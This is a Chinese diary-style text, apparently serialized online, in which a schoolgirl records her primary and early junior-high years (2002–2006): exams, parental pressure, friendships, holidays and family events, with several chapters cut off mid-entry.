《觉醒日记》 1. 小学四年级 《觉醒日记》全本免费阅读 2002年10月9日 星期三 晴 今天中午，我一回家就坐在电视旁看电视，没想到大事不妙，还没十五分钟爸爸就回来了。我为了不让爸爸发现，便关了电视，躲在门口想吓他。可爸爸一进门，被是被我吓到了，可他却说：“你刚才正在看电视吧！”我心想：还是承认吧！要不，会更不妙的。于是我便说：“我是在看电视，我是想看看你会不会被吓一跳。”我爸又说：“怪不得，我好像听见了电视声。”爸爸又摸了摸电视，发现不烫，便说：“我发现你现在很不自觉。”我假装一笑，忙说：“是，是，是。”便溜进了房间。 我可想看电视了。我觉得我们小孩子有空时可以看看电视的，而不是只会读书，这样我们反而会觉得烦躁。 2002年10月10日 星期四 晴 傍晚，我差一丁点就被自己的“不注意”给害了。到底是怎么回事呢？还是我来说明吧！ 傍晚，我与小朝和小辉一同回家，可是小朝不住地打我，我就一路跑，他就一路追。正当我快跑到家里时，又被一条马路挡了道。我就对小辉说：“小辉，快过马路。”因为后面的小朝已经离我们只剩两米了，我只顾看后面的小朝有没有打到我，却忘了看马路上有没有车。我脚刚向马路迈了一步，紧接着听见“吱……”的刹车声。我回头一看，原来我的脚就在自行车的前轮旁边，差一点我的脚就被自行车压到了，真是好险啊！只见那阿姨对我大吼了一声：“怎么搞得嘛！”我的心里一下子由高兴变成忧伤。阿姨啊阿姨，你要说也不要大吼，这样多伤我们小孩心呀！ 2002年12月25日 星期三 阴 今天是圣诞节，我准备给查老师和卓老师买礼物。听小瑶说，查老师还不喜欢贺卡呢！ 中午1点零7分我去小卖部买礼物。上午和小洁约好了1点10分见，可已经15分了。不管，自己买，不合伙了。我在店里看了又看，东西都太贵了，又是我又去了一家，随后，还是又换了一家。我买了一只水晶天鹅和一个贝壳，贝壳里面还是一只天鹅，各两元钱。我催阿姨快点包装。快1点30了，我们1点50上课，终于包装好了。我拿着礼物，又匆匆赶去上课。 晚上，我回到家，吃了晚饭，妈妈拿了一个小纸盒，对我说：“送给你！”“作为圣诞礼物？”我问。“对。”妈妈说。我一下子可高兴了，因为这是妈妈节日第一次送我礼物，也包括生日。我拿起来一看，全是书签！不如先睹为快。“看书签了！”我可高兴了！今天真好。 2003年3月23日 星期日 小雨转阴 我有时真的羡慕小文、小颖。小文成绩中下，但她天天玩得都好快乐，可妈妈说她是野丫头，要我与她少玩。小颖的成绩在班里很优秀，不过是从乡下转上来的，她与我是要好的朋友。周末的晚上，她会来找我玩，妈妈叫我一定要向她学习。妈妈今天晚上叫我去看电视，不一会儿，爸爸就叫我去洗漱。洗漱完了，刚一上床想看电视，“吱”一声，电视关了。 “贾含真！你今晚既没练琴，又没听英语磁带。人家小笛只有周末看几回电视，平时摸都不摸一下。小璇一天练两个小时的琴，你又干了些什么？”爸爸说。 我心想：小笛是小笛，小璇是小璇，我又不是她们，你们是要她还是要我。我今晚不是做了《学王一拖三》吗？还有数学的练习我还来不及做呢！我真是有苦没处诉呀！ 2003年6月11日 星期三 阴转小雨 上午，刚进行完语文第 2. 小学五年级 《觉醒日记》全本免费阅读 2003年9月22日 星期一 第二节课上，陈老师终于把语文第一单元试卷发了下来，我考了90分，全班正数第四。哎！干嘛第四呢！第三也好听些呀！回到家，我心怦怦跳。90分多差啊！从小到大，别说90分，94、95也没敢低过。我大概已经知道后果了。 大约做了20分钟作业后，爸爸回来了，一见我做作业也没多问，就到厨房忙去了。我心里平静了一阵，又急了起来。还妈妈呢！老师说了得给家长签字才行，不管了，面对现实。 不知不觉，又过了20分钟，妈妈回来了。她似乎没怎么注意我，只是进了厨房。过了一会儿，吃饭了，妈妈走了过来，我低声说:“妈，这次我没考好！”妈拿起卷一看，“90分，这么差！”我一下子意识到了这次的考试分数多么重要，我与小笛有5分之差，不可想象。 2003年9月29日 星期一 晴 明天，学校就要举行歌咏比赛了。今天，我们全班同学都要去采排。 第一节课后，我们排着队伍上了舞台。开始，我起了头。“停！”吴老师大叫道，“你怎么可以这样上舞台，也太邋遢了吧！还主持人呢！还有，指挥是先朝下的，你怎么可以朝上？”听完后，我心里难受极了，感到无比心酸，但还是把眼泪止住了。一会儿，又平静了下来。接下去，我的况态一直不好，整个人没力度。唱完后，同学们全走了，只剩我一个在受训。小光还说我不如XXX，又怎么怎么不行……我更难受了。 放学后，我向全班同学道了歉:“对不起，今天是我没指挥好，可我的能力有限，希望你们帮助我……” 在回家的路上，我找到了小光，并对他说“小光，我今天是不对，但我知道我自己是半斤还是八两，如果你能指挥的更好，我希望你也为咱班出份力。”“你还一两呢！别捧着自己的屁股不知香臭！”他的一番话，虽难听，但我心平静地像一碗水，因为我已做好心理准备，他总是自高自大。 我要让小光知道：我很棒！ 我会为明天努力的！ 2003年10月26日 星期日 晴 丑小鸭没有因为自己丑陋而放弃生活，没有因为被别人嘲笑而失去希望。人，不就得这样吗？ 2003年11月1日 星期六 晴 从小时候到五年级，我并没有恨过谁，可今天，我恨了一个人——爸爸。 自从五年级以来，我的成绩明显不如以前，而且由于班上的许多事，我不能准时回家，没少挨爸爸的骂。那虽说是说几句，可我觉得比干什么都难受。 今天，外婆来了。我本说好了看电视到八点半，就做作业，可到了还没做，我已把事忘得差不多了。九点五十五分我从房间里走出来，说：“妈，我做作业了。”爸爸却对我大吼道:“假惺惺什么，别做了。”我顿时心一酸，眼泪不住地往下流。 我恨你——爸爸。 2003年11月27日 星期四 阴 马路上，一个被书包压弯了腰的小女孩在疾步走着，边走边叨念着:“别是79分，别是79分……”原来，班上的几个男同学说她数学测试才考79分，一 3. 小学六年级（上） 《觉醒日记》全本免费阅读 2004年12月15日 星期三 晴 这次抽考我是全班第一名，而且全班只有我和小威双双上九十。我们考的差极了，我这次虽是第一，可却没有往常考第三、第四那么激动。这次可能是我长大了，也可能是觉得自己的分数其实并不理想。我担心自己在年段排名并不怎样，这次老师说语数都能上八十是中上生了，可我心里还是不那么高兴，而十分平静。 2004年9月18日 星期日 我们踩着余晖满载而归。 手中的鱼竿发出吱吱声， 仿佛在唱收获歌。 我们在晚霞的辉映下谈笑风生， 诉说那美好梦…… 啊！世界真美妙。 2004年11月8日 星期一 晴 期中考试结束了，我语、数两科都考得出奇的差。我发现的问题就是——写字速度、心理素质。 马上又要面临抽考和家长会，我希望老天保佑我，发挥正常。 现在，我新的目标“小逸”、“小刚”。 2004年12月15日 星期三 晴 这段时间，小威由“小芹菜”进化成为“糯米大娘”。小刚也从“萝卜”超进化成为“萝卜大娘”。 今天上思品课，张老师让我们在教室活动，我们五人团队又开始了“大活动”——唱歌。“糯米大娘，唱一首歌听听！”“好！我唱《爱情三十六计》。”于是，“小芹菜”有声有色对他同桌唱了起来。同桌“南瓜头”一直叫我唱《七里香》的一首歌，我不会唱，他又叫我唱朴素的《生如夏花》，我告诉他我只会唱一句:“我在这里，我在这里呀！”大家听了爆笑。南瓜头又唱起他的“主打歌”——《上海滩》。我们只知道那调子对，也不知他到底在唱什么，可南瓜头却说自己在唱上海话。我晕！我倒！我又唱起了《同一首歌》。“萝卜大娘”说:“大姐，别唱了！再唱我就知道我中午吃什么了！”我不理他，硬是唱完了这首歌。我笑嘻嘻地说:“萝卜大娘，我怎么没见着你中午的食谱呀！”“哦！没什么，我自己知道看到就可以了。”又在装了，无语！直到下课，小迪什么也没唱！我问她为什么？她说她决不会让男同学看她穿裙子，听她唱歌的。哎！“海迪猪”（南瓜头对小迪的“尊称”）是美女，就是不一样。 2004年12月19日 星期日 晴 今天在街上，我遇见了“糯米大娘”，他很早就看见了我，他只“咳咳，嗯嗯”老半天。由于我是近视眼，好半天才看清是他，我对他笑了笑，打个招呼，可他还在装咳。小晨（又名“周瓜皮”）死命推他问:“你干什么呀？”我看了直笑，好半天才缓过气来。 2004年12月20日 星期一 阴转晴 中午一到家，切完橙后，妈妈就打电话来让我中午煮饭。我很讨厌，于是，没有答应。 妈妈回来后，问我为什么不煮饭，我说:“我不想干，也讨厌干。”这时，妈妈反问我一句:“那我喜欢干什么？”我明白了，家务活不是妈妈应该做的，而是非做不可，我以后尽力改正，帮妈妈做一些家务。 2004年12月22月 星期三 晴 这几天功课挺忙的，今个儿得空，又来写一写。 圣诞节要到了，我说过全班只会送给男女一个“铁杆儿”礼物，由于我和小迪，糯米大娘一下课就讨论礼物的事，班上不少同学（特别女同学）讲闲话！可可爱爱哦！无聊！ 昨个儿下午，好不容易盼来的体育课上，我和小迪各做完60个俯卧起坐后，开始打排球。总是我发球，最后，我手都打麻了，不过很“huppy”！ “圣诞，圣诞，你快来！……” 2004年12月29日 星期三 阴转睛 元旦马上要到了，“鸡年”要来了，我心里又高兴又紧张。 明年就要升学考了，能不紧张吗？我们已经开始上下学期的内容，足以可见下学期要开始“题海战斗”了。 昨天下了一场鹅毛大雪，可下午雪就化了，中午作业多，就没玩到雪，真不爽！现在天气骤然变冷，手脚都麻木了，可还是作业多多，苦啊！ 2005年1月4日 星期二 阴 说时间过得慢，也慢！过得快吧！其时也挺快的。一摆一晃，就05年4号了，今是是05年第一天上学。 这段时间，可能由于去年成绩不错有些骄傲，上数学课和做题纲状态不是很好，老是分心，自己要不断提醒自己认真听课，做题纲也是简单的题目不会，难题列式对，计算又错。我特烦！好不容易语文、数学好多次超过了南瓜头、小刚，现在又比他们差一点。 怎样才能超过他们呢？ 2005年1月26日 星期三 阴雨 1月21日刚考完期末考，一晃，放假了。今年不错，打了胜仗，全年段第一。语文九十七点五，数学一百，英语一百。可我并不高兴，我觉得假期过得不充时，有些空虚。 我天天盼着见同学，我可真闷得慌，无聊透了！还好，今天下午去卢老师家可以见同学。 这几天，小莉姐姐在我家住，把我的紫色大棉袄给穿走了。我有些火气，但是要心胸宽阔，还是…… 奶奶回家过年，好耶。作业不多，但都十分“烦人”。我真不知道那本《分课时》该啥办？还有那本《寒假生活》。 还有，还有，“雨浓”的“小青岛”，好像只有我知道。可能由于打了胜仗，妈妈充许我这几天“放一放”。我可盼着早点过年，那样就“钞票多多”，“赞美多多”了。哦哦哦！我现在好兴奋啊！ 也有愁的事。这个礼拜五，妈妈局里开会，爸爸镇里开家庭座谈会，都是晚上，妈妈都走不开，啥子办？哎……大人就是这么难呀！ 还有小燕姐姐回来了，带回来好多礼物和吃的。昨天我忘了吃菠萝蜜不能吃蜜糖，害得我中毒，胃疼了老半天呢！姐姐还带回了什么“人心果”、“鸡蛋果”、“木瓜”…… 想想还有啥子？ 哦！有了。这次， 4. 小学六年级（中） 《觉醒日记》全本免费阅读 2005年2月28日 星期一 阴转晴 今天是开学第一天，过得很舒服，作业很少，刚才水笔没水了。 早晨，举行升旗仪式，我以为现在六年级下学期，应该“下岗”了，没想到还是我主持升旗仪式，又高兴又讨厌呀！ 拜拜！我要听写了，老爹回来了！ 2005年3月31日 星期四 阴 我喜欢万紫千红的春天，我喜爱葱葱郁郁的夏天，我依恋硕果累累的秋天，我向往那白雪皑白的冬天。 一年四季，多么美妙！ 一年四季，多么美妙！啊…… 我要在白色的冬天，堆起一个个可爱的小雪人；我想在金色的秋天，亲手摘取那成功的果实；我一定要在火红的夏天，做一只自由自在的小鱼；我希望在绿色的春天里，寻找春姑娘的足迹。 啊！四季是彩色的！四季是彩色的。 我爱你四季，四季！啊……啊…… 2005年4月3日 星期日 晴 明天就是清明节了，爸爸妈妈今天去扫老祖宗的墓。可能卢老师下午也要扫墓吧！今天下午我们没有补课。上午看卢老师心情好像不太好，我总觉得怕怕的。 听高美人说，昨天小测我只考八十八点五，看他那样子，不像是骗我。完了，要“哦西嘛克”了！ 上午发语文卷子，我考全班第二“九五”。小婷第一，九六点五。我挺不服的，加油，加油！下次再考第一。 不知为什么，现在蛮讨厌做课外练习的，可能有压力，也可能太累吧！总是不想多做事. 我有一点值得高兴，就是现在能好地接受批评了（大部分是这样）。上午陈老师让我上课或补课时都不要大笑。她说，当面说我，像不给面子。但不说，其他同学也跟着笑，纪律就不好管了。反正我记着就是了。 上午考完了第三单元，陈老师说看了一下我们的卷子，好像不理想。要是真不行，我们班就得拉拉了！哎！命苦喃。 我现在许多东西只有向日记本叙说，妈妈那说学校与生活上的事，其他事对日记本说，妈妈就不会太为我操心。 16163！ 2005年4月4日 星期一 晴 刚做完《一练通》，还没默写，都已经9:30。下午看了一场电影，蛮感人的，我哭了，不过眼泪在眼里没下来就被我擦了。下午，让大娘帮我带了两支新笔，现在正用着写日记呢！不错，好用得很。晚上，娘又在加班了，我看了谢老公公寄来的材料，有意思！我要快背了，马上默写了！ 晚上我给小晨打了电话。（又及） 2005年4月8日 星期五 晴 我心中好压抑，有一种说不出的难过。而且最近学习状态不好，现在已经9:40了，我还没做数学作业。一个晚上头都很痛，怎么？有谁能帮助我？ 小逸和小颖说我和小迪在一起（十分危险），就开始与我们疏远了。天！又失去一个知心朋友。我陷入了无奈与郁闷中。 谁来救我？ 2005年4月7日 星期日 阴 昨天考数学模拟（一），太失败了！专在阴沟里翻船，有一题应用题全班只有三个人对，其中我对了，而且思路最清晰。还有一个小婷同学是“走江湖”走来的。可是，我计算扣了6分。其他地方又是思路对，计算错或上抄下抄错，七扣八减，只剩下可怜的89＋10了。悔呀！应用题全对呀！ 还有语文第三单元94.5。大妈98，只有作文扣2分。最烂可能只能排6、7。可是，他们的高分不是真实的，没有用。 我们编的作文集OK了！挺不错的，特别是内容。老爹老娘说水准蛮高的。 现在，我与其他三位好友关系疏远，其中，我处于孤立状态。于是，郁闷至极，写下了这有歌： 我独自走在幽静的小路上，或许只有树木愿意与我为伴。 我不理解别人对我的看法，但只有无奈。 谁说闺中密友是永远的“铁杆”，久了还是难免有嫉妒心。 谁叫世上没有性格完全相和的人。 哦！算了吧！抛掉一切痛苦，快乐是我的一切， 不开心时要想想我的快乐哲学。 哦！算了吧！记住，我的一切是快乐。 2005年4月17日 星期日 阴 悲 窗外绵绵雨，诉说我心中的悲凄。也许我只有和细雨说，她才会为我流泪。 我必须有倾诉的对象，这样我心中才不自弃，只有这样，我才能充满信心。 乐 我现在看天空、白云，一切都是那么的完美。柔和的轻风带着我的快乐，飞向远方。我永久沉浸在快乐中，一切悲凄与我远离。我时时刻挂着笑容，永远那么美丽。 快乐！快乐！快乐！快乐！她有巨大魔力，让我的每一天，都那么新奇。快乐！快乐！快乐！你是的一切。有了你，世界永远那么完美。 哦！快乐是天堂，快乐是天堂，学会笑对人生的每一天，你就永远是第一、第一…… 我不断对自己说，你要坚强！你要坚强！读读读、学学学，把我逼得没有退路，永远是那句话:“贾含真，你该干什么，不该干什么。”我压抑，压抑，总有一天会爆发的。 我不断对自己说，快乐，快乐！想想你的快乐哲学。我不是乖乖女，不是！我要做我自己，我自我，我有性格。 我什么时候能挣脱？ 2005年5月3日 星期二 阴有雨 我现在对LBG彻底绝望，竟然那样对待我，太过份了！我已经做够那个了，可LBG却仍那么那个……算了！管它呢！以学为主，先争取以优异的成绩考入初中再说。 有什么了不起？贾含真记住，你是强者，你天赋不如LBG，但只要努力，一定，100％可以超过的。只要你认真、不粗心，再加把劲，LBG算什么，一样把他干倒！ 你要用轻蔑的眼神看他，告诉自己成绩一定能超过他。 2005年5月4日 星期三 雨转晴 今天姑姑一家人来我家做客。姑父那“半桶水”晃得特历害，搞得自己是“万事通”。我恶，炫什么炫，又没有真才实学，现大头鬼！哼！真火。 上午我把昨天发生的事给“泥土”讲了。虽然我昨天调节了自己，可今天说起却依旧十分激动。NO！脱出来吧！ 2005年5月15日 星期日 晴有小雨 耶，今天是个好兆头。LBG承认自己的“错”了，并向大家道歉，而且还选择“小”。呵！真不赖呀！ 白菜的自动笔忘了还。菜包把我的垫板给弄丢了。真是！目前没事做，老娘看电视，老爹也一样。无聊呀！不想做《自主学习，当堂反馈》。 老娘说放假打算送我去军训，哎！看着办啰！ 我这有几张《火影忍者》和《犬夜叉》的贴贴纸，特炫呀！真高兴。不过这次抽考我只排了年段第18名呀！呜……总分也180分，哼！谁叫这样发挥不正常，会做的太粗心做错。命题作文又变成题目自拟了，冤大头！ 还有34天升学考。可我没有一点紧迫感，还是悠哉的不得了，啥办了？但愿升学考考全市第一，为学校争光，为老师争光，为爸妈争光，也为自己添名气、增信心（其实也为暑假能大玩特玩啦！）让我想想，还为什么啊？哦！为家族争光，为班级争光，为哥～，姐～，弟～，妹～争光…… 说一大堆废话干屁？还是自己先努力吧！ 2005年6月11日 星期三 阴雨 上午“六一”活动后，我到家洗完澡后，觉得万分疲惫，全身酸痛。 下午在家我除了睡觉，洗头，吃东西外其他什么都没干，还有一大堆作业呀！ 还有十六天就升学考了，大家都十分紧张，好像只有我很悠哉。还有两天学校又抽考了，而且还有英语。这段时间特累，我已经透支了。 考完升学考就可以去军训，去旅游了，真好！ 小迪买“六一”礼物送同学，三样竟花了五十多，太帅了。我现在太累了，只想快开始写作业，晚上好好休息一下。 2005年6月7日 星期二 晴 还有10天升学考，太好了！今天高考第一天结束了，我也考了1天。英语两个小测都满分，而语文抽考只有109.5，小颖最高:111分。但愿数学还考120。因为昨天的数学小测好像又考砸了。 怎么办？我还是改不了粗心的老毛病，火死我了。 不过想想10天后就可以大玩特玩也就十分兴奋了！我现在不管是考试还是写作业都已接近神速，甚至连我自己也不敢相信。不知是哪位好心的大姐（大哥）帮的忙，好谢！ 这几日狂背单词，让我差点崩溃。那A.B.C我见了就有些头大，不过还好天生记性好，要不，就“死得快”了！天啊！地呀！保佑我数学120吧！我求您了。不过，要是您让我升学考考全市第一的话，那这次数学100就算了吧！嘻嘻嘻……（奸笑）要是两样都给，那就在好不过了。（好贪心） 哎！我的《题库精选》还有16页，《分课时》还有N页，我的前途是渺茫的呀！ 不过比起其他好生，我至少幸运了100倍。因为他们现在正遭受着魔鬼式训练…… 2005年6月13日 星期日 阴 耶，还有5天升学考，终于要解放了。不过这几天也蛮爽的，天天没作业。昨天端午节去外婆家住了一夜，真难过。真是越大适应能力越差。 数学模拟考成绩出来了，100分，英语我才考98分，我估计语文考高分的希望不大。哎！但是，只要在年段110名前就行了。 这段时间全班都在传qy I zkh，实在不理解。我学号是186，小迪是188，我们想找187。我问陈老师，陈老师说好像转学了，害我们兴奋半天。这次抽考才知道:187是“哀神”，185是龚奶妈，我和小迪差点没晕死。 6月17日妈去井冈山，我求了老半天妈才答应。她说我升学考不能走。我说，要对我有信心，还有一大堆央求的话，妈才答应下来。 我暑假非去trip不可，我还想去picnic，但不知可否。我被一个笔名叫“雨纤”的人弄得晕头转向，都临近升学考了,她还死命叫我回信。哎！苦哟。 小迪老爹老娘全回来了，我想是因为小迪升学考吧！如果小迪升学考没考上的话，就得去厦门了，悲！ bay！ happy！I levo 真真！ 2005年6月14日 星期二 晴转阴 还有3天升学考，我这次抽考语文才考98分，我觉得太低了，不过，这说明菩萨答应我了，多谢…… 这几天小迪不准我驼背，如果她发现我驼背，她就要给我制“耳鸣”了，恐怖！不过还是要感谢小迪啦！ 刚背了第八单元的单词，晕死！“ raisins”我一直写成“ ranisins”。不过“ bread”背得很好，一直没错。 考完升学考我还要忙“毕业联欢会”呢！我觉得老师、父母、同学对我寄托的希望好大！ 哦！这次QZ三科全年段第一。 升学考的座位出来了，我在第5考室，考号136。前后是张**和李**。我问陈老师我们考室的好生多不多。陈老师却说我不需要问，以我的水平不管是谁都不怕，照样上。我听后比较放心了。 明月上午还要上课，日记本bay！ 祝:天天 happy！ 2005年6月18日 星期六 雨 今天升学考结束了，我心情好愉快。现在已经晚上11: 5. 小学六年级（下） 《觉醒日记》全本免费阅读 2005年6月26日 星期日 晴 昨天去外婆家给小旭过生日。因为爸爸有事，所以没住就回来了。今天上午去逛街，给我买了一条粉色长裤。 去逛街前我去看病，不料竟得了“慢性咽痰”，本来就有干咳，现在又加上这病，我觉得更难受了。小颖回乡下，小迪去厦门，小惠去姨妈家住，小威去旅游，剩下南瓜头和小刚又去游戏机厅，这种地方我哪能去？现在也没作业做，天天就是看书，写日记，无聊透了，所以总是发扰骚，烦死人了。 我现在也不知道自己该怎么办了。 2005年6月28日 星期二 晴 昨天上午玩了一个上午，下午也没看书，只是看了一场球赛。我发觉其实足球赛也蛮好看的，今天上午才开始反攻。 太阳很大，根本没法出去，过两天我就去小俊姐姐家住一段时间。 家里的仙人球开花了，很漂亮像仙女一样。我现在也实在不知道自己应该干些什么了，同学基本上走光了，只剩下两三个人找得到，可小惠又去姨妈家住了，小逸要看电视，所以没人玩，只能在家里看书了。 2005年6月29日 星期三 晴转阴转雨 才几天没写字，我觉得手都木了，写出的字丑的吓人。我有点想去练行书，因为那样写字特快。 昨晚小俊姐姐来我家报志愿，因为太困我就先睡了。仙人球的花快凋了，我觉得真可惜。下午妈妈打来电话，说去上海要坐8个小时大巴，我一听就昏了，不肯去玩了。妈妈却说路上会停一会儿再走，不会一连走8小时的。可我还是有些动摇，妈妈叫我要锻炼，好吧！7月13日只好硬着头皮上了。 2005年6月30日 星期四 晴 下午小惠终于从她姨妈家回来了。晚上妈妈在家打麻将，我和小惠出去玩。 七点三十分我和她在保龄球馆前见。她碰见小烨和她说话，可我一来，小烨就走了，不理解。然后她挂电话找咩头，咩头爷爷接电话，一拿起就放下了。然后呢又打电话找鲁蛋。鲁蛋不肯出来，老半天才知道他今天晚上要上火车去广州了。后来我和小惠去骑双人车，裤子上沾了些黑油，回来竟然有点洗不掉，丑死了。明早和小惠一块去跑步，裤于怎么办呀？ 2005年7月1日 星期五 晴 上午在妈妈局里发生了一件令人不愉快的事，我听后也觉得的确可气，真没想到，小俊姐会办事那么不可信任。但愿这事的气氛快些还解呀！ 妈妈说小煊可能不去夏令营了，问我去不？反正我呀，照去不误。不知道会遇见什么新鲜事儿。晚上妈妈不回来吃饭了。 我看《巴黎圣母院》，觉得书中的巴黎市民中的一些信徒、善女、道士等，都十分没人性，他们的行为举止，令人厌恶。 2005年7月2日 星期六 晴 下午，我和小惠约好一点半在她楼下见，再一起去公园。由于我迟到了五到十分钟，去找她时她已经走了。 我打车去公园，在门口等还是没见着人。于是我爬山，又找遍了整个公园也没找到人。我出来到新华书店后走回来，打电话找小惠，她妈妈接电话，口气仍然不好。 我发现她妈妈十分应该说非常反感我找小惠，每次我找她，她妈都不好高兴。放心，阿姨，这次下午打电话找小惠是最后一次了，我以后再也不会再找小惠了，除非有什么重要的事。 2005年7月5日 星期二 晴 好几天没写日记了，今天，爷爷种奶奶出来了（不开心的表情）。 昨天上午我去看了眼睛，张医生说我度数会加深25到50度，闪光加深了。下午我去练琴，准备考级，考四级，要交110元。刘老师说我要换一把大琴了。傍晚回来的时候，脚被玻璃割破了，有点痛。 2005年7月13日 星期三 晴 连续好多天都没写日记了，这些天发生了挺多事的。昨天我去陈老师家做客，好有意思，前天同学聚会也还蛮好玩。星期天贾家人聚会一般，星期六去外婆家不咋地。 今天小强来我家住，晚上一起去河里游泳。我去夏令营的事八成泡汤了，因为上海太热。 2005年 7月21日 星期四 雨 一连下了好几天的雨，现在天气倒有点凉了。已经21号了，可夏令营还是没有消息，我想是真的去不成了吧！陈老师说军训是8月7日前后，考级是8月7日上午，刘老师还是想让我去。可我现在有些，应该说根本不想考级了，可能是因为怕又有压力吧！ 19号小成让我去参加他的生日宴会，我知道妈妈是不会同意的，所以我拒绝了。 现在我想找同学，可有的去外地，有的不敢找，有的找不到，所以心里有一点难过。 我现在又去学舞蹈了，今天下午去上第二节课。不知为什么，我一下有种不习惯、陌生的感觉，毕竟三年没练了。我竟觉得在那么多人面前做舞蹈动作很丢脸。 哎！今天就写到这了！ 2005年7月26日 星期二 晴转阴 去上海和浙江的事泡汤了。不过现在改为了北京七日游，而且是单飞呢！我觉得现在应该开始阅读有关介绍北京的资料。由于去北京是8月8号，军训是8月11日，所以军训冲掉了几天。14号我从北京回来，上午8点下火车后我想直奔部队，不晓得妈妈会不会答应。 我觉得军训冲了几天还不如不去北京，可妈妈说，北京是中国的首都，有机会一定要去看看。我打电话问陈老师怎么办，陈老师说把我和四、五年级的学生安排在一起十九号开始军训。可是去军训本来就是想和同学一起玩的嘛，可把我和四、五年级分在一块儿，那怎么行呢？ 妈妈说没关系，我就接下去，冲掉的那几天不军训，从北京回来再接下去和同学一起军训，我听后真是高兴极了，可是头几天的钱不就白花了吗？妈妈却说没关系，只要我开心就好，妈妈真好。 我现在已经开始学第六把位了，明年考六级，今天可以免一死，不考了。我现在又开始看《童年》了，才看一丁点就觉得悲惨。 小颖打电话找我了，可惜是问我有没有拿到录取通知书。我问妈妈，我那么想小迪、小逸、小颖，她们为什么都不想我呢？妈妈说我是“多情种”。是呀！我就是多情种，可我们毕尽是六年的好朋友（准确地说三年好朋友，只有小迪和我六年级同班，小颖、小逸都是后来分班才在一起，不过二年级我们就认识了），她们怎么都不想我呢？ 下午我在少年宫楼上看见小游走过，那动作真的好帅。一手插着口袋，一手前向自然摆动，头有点歪，真不愧为我们班第一帅哥，只可惜没考上，不知道他父母是否会给他买上去。 已经这么久了，我想我的小弟——南瓜头（其实他92的，比我大）也追“母”回来了吧！不过他可比我还巴望军训的到来呢！他还不是为了看美女，没出息的东东。（虽然他这次升学考比我考得好，可是——，我的确是因为太大意，否则决不会输给他的） 从今天起离去北京的日子还有12天，我得好好准备一下了，今天就到这了，拜！ 2005年7月8日 星期五 晴 明天是农历七月初二，是妈妈的生日，我已经为妈妈准备好了礼物，明天一早会放在妈妈床头，不知道妈妈会不会喜欢，礼物是我上午和凌云姐姐一起制作的。 早上我比平时早起了一会儿，洗刷吃饭后才8点钟。我看了一会书，在8:20下楼找姐姐，她还在吃饭，等了一会就出发了。我们到青少年宫附近买了一盘空磁带，然后顺路到小学门口买了包装纸和拉花。我们一出店门就遇见了卢老师，可见老师已经旅游回来了。 后来就回来录音了。我们先找出了妈妈爱听的民歌或儿歌的谱，按顺序排列好，又写下了要录的话。一切准备就序，可却又发现复读机坏了，于是姐姐又跑下去拿她的复读机。要开始录了，我先说一段话，重放时发现虽然周围很静，可还是有杂音，于是把一起录下的《生日快乐》也洗了，开始重录。我已经拉了好几首歌了，可回放时还发现杂音太大了，又洗了重录。第三遍我拉了好几首曲子都很顺利，没有卡一下，可一轮到姐姐弹吉他就卡了好几回，又多次因为声音大小重录，也有几次是因为我在录制时不小心说了话才洗带的。到后来一直都很顺利，我们回放了一遍，共听了十二首曲子，虽说复读机里的杂音也录下了，但总体效果还是不错的。姐姐回去的时候却忘了倒带，害我用手转了半天。刚想包装，妈妈就回来了，我忙把东西藏在床底下。 午觉醒来，我就开始包装了。别看别人觉得容易，其实挺麻烦了，我整了老久，总算满意完工。然后又是干家务，拖地、洗衣服。没多久，爸回来了，我告诉他外婆叫我们明天回去给妈做寿，还要蒸糕吃，爸爸说明天他上午要去乡镇，哎！ 晚上陈老师打电话说8号上午8点去领军训的衣服，10号就去军训。现在不知道去北京的事怎么样了，人有没有凑齐，如果去不成北京，我跟姐姐说好了就一块去漂流，去华东第一漂。现在心里挺矛盾的，又想去北京，可又想去军训，现在只有听天由命了。 吃饭的时候我才确认农历的2月29日也是四年一次。啊！我的生日太珍贵了，妈妈说2月29日出生的人命硬，太好了。妈妈在吃饭的时候就在联系打牌了，现在已上桌，今晚上打牌也是一波三折，不过我不想再提了，今天就到这吧！ 日记本，再见！ 2005年8月8日 6. 初一（上） 《觉醒日记》全本免费阅读 2005年9月1日 星期日 晴转雨 今天是开学第一天，我觉得挺快乐。虽然十分匆忙，但很充实，也很有意义。 先是认识是许多新的老师，有陈、廖、林、姚等几位老师（有一个音乐老师我忘了她姓什么）。陈老师教英语，是隔壁班的班主任，一眼看上去狂凶（本来也凶），也很严，但又风趣，相信上她的课应该不错。廖老师是七年段段长，超温柔、亲切、和蔼，不像“主任”那样有架子。只可惜普通话不太标准，忘了说，他是教语文的。林老师是我们地理老师，平易近人，唯一缺点，上课声音太小。姚老师，不理解，她教“思品”却老说自己教“政治”。蛮像知心姐姐（虽说快退休），她理解我们，想和我们作朋友。 现在说说同学，同学们都不错，只是小平，有事没事老叫“班长”，听了让人烦。小东是搞笑大师，我们后三排都笑炸了。小沁那也有新闻，不过十分无聊。 这当儿，谈谈我的感受。总体感觉不错，同学，老师都好，只是对英语老师好怕怕。嘻，没那么恐怖，只是她比较凶而已啦，有作业的感觉也不赖的！ 耶！终于上课啰！ 2005年9月3日 星期六 晴转雨 刚开学两天，我就感到一股无形的压力向我逼来，弄得我都有些喘不过气了。 尤其是英语，才上了一节课，我就不行了。老师上课说天书，听不懂，而且老师又凶，所以更怕了。上午，下午都去找姐姐帮我补英语，有所转机。不过我还是怕，还有两篇作文没写，哎！今天到这吧！ 2005年9月17日 星期六 晴 现在除了同学和老师，我真是觉得不理解其他人，每天有那么多的不行。 比如说，我妈天天说我这不行，那不行，啰嗦死了。爸爸也是一样，虽然我现在是青春逆反期，也不必要这样吧！ 昨天晚上爸爸去开家长会，又说了一大通。第一单元数学才考90，全班第20，最高迪迪第1，100分。英语单词，句子测验也只考了92分，很差，现在只有看下星期的语文和英语正式考试了。 2005年10月29日 星期六 阴雨 已经一个多月没写日记了，这一个月发生了太多的事情了，要写也写不过来，马上就要期中考了，但愿发挥好些。 由第一次排名第4，到第二次的第7，然后到现在这次考试（分数没出），我感到万分疲惫，日子真是如流水，每天都有太多太多的事要做…… 只能说再见！ 2005年9月6日 星期日 晴 我真的那么差？前一百名考不到？那就等着瞧吧！恨，从现在开始…… 2006年1月1日 星期日 时光飞逝，转眼就迎来了“2006”。回首过去，日子过得还不算赖，只可惜05的两场考试都发挥不好。算了，过去事就不提它。 我坚信，我的“2006”会有一个新的飞越。我也许一个愿:我希望2006的我变得无比勤奋。 2005也有我的许多回忆:特别是最后几天，我也总算有点收获，考了一个“100”回家。今天我想去看《哈利·波特与火焰杯》的电影，只是我和木木意见出现分歧，所以我租片子看。想想那还是去年的事。 好久没回外婆家，今天会回去。我差点忘了，如果我没记错的话，今天可是小晨生日哪！ 我不多说了，作业还在等我。 2006年1月13日 